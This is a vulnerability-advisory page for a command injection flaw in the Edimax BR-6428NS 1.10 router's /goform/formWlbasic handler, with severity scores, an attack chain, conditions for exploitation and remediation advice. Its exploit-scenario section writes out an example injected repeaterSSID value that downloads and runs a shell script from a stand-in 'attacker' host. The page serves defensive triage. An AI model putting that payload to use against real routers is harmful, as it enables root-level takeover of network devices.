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Edimax BR-6428NS CVE-2026-9297

| EUVDEUVD-2026-31532 LOW
Command Injection (CWE-77)
2026-05-23 VulDB GHSA-gxpf-66ch-99jw
2.1
CVSS 4.0 · Vendor: VulDB
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege web interface credentials (default or guessed)
  2. Delivery
    Send crafted POST request to /goform/formWlbasic
  3. Exploit
    Inject shell metacharacters in repeaterSSID parameter
  4. Execution
    Router executes injected OS commands
  5. Impact
    Achieve persistent root-level access or lateral pivot from network edge device

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires valid credentials to the Edimax BR-6428NS web management interface, confirmed by the CVSS PR:L (low privilege) designation - unauthenticated exploitation is not indicated by available data. The attacker must be able to reach the management interface over the network (AV:N, AC:L), meaning the web GUI must be reachable from the attacker's position (LAN or WAN depending on device configuration). The specific trigger condition is a POST request to /goform/formWlbasic with a manipulated repeaterSSID parameter - the repeater/WISP functionality does not need to be actively in use, only the handler must be reachable. No special non-default configuration is required beyond standard device operation. Exploitation is limited by the need for authenticated access: devices using strong, non-default credentials are materially harder to exploit than those retaining factory defaults.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) places this at medium severity (6.3), but several factors complicate a simple score-based triage. The PR:L (low-privilege authenticated) requirement is the primary limiting factor - an attacker must first obtain valid credentials to the router's web interface, which on many home and small-business devices use default or weak passwords, substantially lowering the real-world bar. Attack Complexity is Low and no user interaction is needed, meaning exploitation is straightforward once credentials are obtained. The temporal modifier E:P confirms a publicly available exploit, which elevates the practical risk beyond the base score. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no EPSS score was provided, so automated or widespread exploitation is not confirmed. The vendor's non-response to pre-disclosure contact means there is no official guidance or patch, leaving deployed devices permanently exposed unless owners apply independent mitigations. For network-edge devices like routers, command injection with OS-level impact is typically more consequential than S:U/C:L/I:L/A:L implies, since root-level access is common on embedded Linux routers regardless of CVSS scope notation.

Exploit ScenarioDerived

An attacker who has obtained low-privilege credentials to the Edimax BR-6428NS web interface - via default credentials, credential stuffing, or phishing - sends a crafted HTTP POST request to /goform/formWlbasic with a repeaterSSID value containing shell metacharacters (e.g., repeaterSSID=legitSSID;wget+http://attacker/shell.sh+-O+/tmp/s;sh+/tmp/s). The router's CGI handler passes the unsanitized value to a system command, executing the injected payload with the privileges of the web server process, which on embedded Linux routers typically runs as root. A public proof-of-concept detailing this technique is available via the Notion writeup linked in the references.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.8% exploitation probability (EPSS)

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AnalysisAIv1 – May 23, 2026

Command injection in the Edimax BR-6428NS 1.10 wireless router's web management interface allows a remotely authenticated attacker to execute arbitrary OS commands by manipulating the repeaterSSID parameter in a POST request to /goform/formWlbasic. A publicly available proof-of-concept exploit exists, raising the practical risk above what the moderate CVSS score of 6.3 alone suggests. The vendor was notified prior to disclosure but did not respond, meaning no vendor-supplied patch exists at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis - the vendor did not respond to pre-disclosure contact, and no Edimax security advisory exists. As the primary compensating control, administrators should immediately disable remote (WAN-side) management access to the router's web interface if it is exposed to the internet, preventing unauthenticated network reachability to the vulnerable endpoint; note this does not protect against attacks from the LAN. LAN-side access can be restricted by binding management access to a dedicated VLAN or management network segment accessible only to trusted hosts, reducing the pool of potential authenticated attackers. Changing default credentials to a strong, unique password raises the authentication barrier and limits opportunistic exploitation, though this does not eliminate the vulnerability. Network-level filtering of POST requests to /goform/formWlbasic at a perimeter firewall or IPS can block exploitation attempts where inline inspection is available. Consider replacing the device with a supported model if no firmware update is released, as an unpatched command injection on a network edge device represents persistent long-term risk.

Affected VersionsENISA

BR-6428NS 1.10

Affected Packages

euvd br_6428ns no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Edimax BR-6428NS is a consumer-grade wireless router exposing a CGI-based web management interface. The vulnerable component is the formWlbasic handler, a server-side function responsible for processing wireless basic configuration, including repeater (WISP/WDS) settings. The repeaterSSID argument - the SSID value for the repeater association - is passed directly into a system-level command without adequate sanitization, satisfying CWE-77 (Improper Neutralization of Special Elements used in a Command). This class of flaw occurs when user-supplied input containing shell metacharacters (e.g., semicolons, backticks, pipe operators) is interpolated into a shell command string executed by the device's operating system. The CPE string cpe:2.3:a:edimax:br-6428ns:*:*:*:*:*:*:*:* uses a wildcard version field, indicating NVD has not bounded the affected range beyond the confirmed 1.10 firmware.

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Severity by source

Vendor (VulDB) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 26, 2026 - 19:37 NVD
MEDIUM LOW
CVSS changed
May 26, 2026 - 19:37 NVD
6.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A security vulnerability has been detected in Edimax BR-6428NS 1.10. Affected is the function formWlbasic of the file /goform/formWlbasic of the component POST Request Handler. The manipulation of the argument repeaterSSID leads to command injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.8%
Top 25% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.8%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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